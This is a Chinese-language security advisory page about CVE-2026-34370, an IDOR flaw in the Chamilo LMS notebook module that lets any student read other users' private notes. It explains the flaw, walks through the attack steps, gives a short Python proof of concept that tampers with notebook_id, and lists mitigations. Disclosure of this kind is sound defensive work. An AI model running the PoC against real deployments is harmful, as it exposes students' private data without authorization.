IPBUF安全漏洞报告
English
CVE-2026-34370 CVSS 6.5 中危

CVE-2026-34370 Chamilo LMS IDOR漏洞致信息泄露

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34370
漏洞类型
IDOR
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

IDORChamilo LMS信息泄露权限绕过

漏洞概述

Chamilo LMS是一款开源学习管理系统,在2.0.0-RC.3之前的版本中,其笔记本模块存在不安全的直接对象引用(IDOR)漏洞。由于应用程序在获取笔记信息时仅依赖提供的ID而未验证请求者身份,任何经过身份验证的学生都可以通过修改editnote操作中的notebook_id参数,访问并读取平台上任意其他用户的私人课程笔记内容,导致严重的信息泄露风险。

技术细节

该漏洞的核心在于Chamilo LMS笔记本模块的读取路径缺乏访问控制。具体来说,`get_note_information()`函数在处理数据获取请求时,仅使用了客户端提交的整数ID作为查询条件,完全未校验当前登录用户是否是该笔记的拥有者。尽管代码在`updateNote()`和`delete_note()`等写入路径中包含了所有权检查,但读取路径的疏忽使得攻击者能够利用这一逻辑缺陷。攻击者只需拥有普通学生账号,即可通过遍历或猜测ID,向服务器发送带有恶意notebook_id的请求。由于服务端未进行拦截,服务器响应时会直接返回目标笔记的完整标题和HTML正文内容。这种水平越权漏洞允许攻击者批量获取平台内所有用户的私人笔记数据,造成严重的数据隐私泄露。

攻击链分析

STEP 1
1. 获取凭证
攻击者在Chamilo LMS平台注册一个普通学生账号,获取有效的会话凭证。
STEP 2
2. 分析请求
攻击者查看“编辑笔记”功能的网络请求,发现notebook_id参数直接控制读取的笔记内容。
STEP 3
3. 篡改参数
攻击者修改请求中的notebook_id参数,将其替换为其他用户的笔记ID值。
STEP 4
4. 信息泄露
服务器返回对应ID的笔记内容,攻击者成功读取到未经授权的私人课程笔记。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/main/notebook/notebook.php" attacker_cookies = { "PHPSESSID": "attacker_session_id_here" } # The vulnerable parameter (notebook_id) to manipulate # Assume ID 1 is the target victim's note victim_note_id = 1 params = { "action": "editnote", "notebook_id": victim_note_id } try: # Send the request to read the note response = requests.get(target_url, params=params, cookies=attacker_cookies) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content (may contain victim's private note):") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议立即将Chamilo LMS升级到修复版本2.0.0-RC.3。如果暂时无法升级,应在应用层面对`get_note_information()`接口进行热修复,增加当前用户ID与笔记所有者ID的比对逻辑,确保只有笔记创建者本人才能读取数据。此外,应加强对敏感数据接口的日志审计,以便及时发现潜在的遍历攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表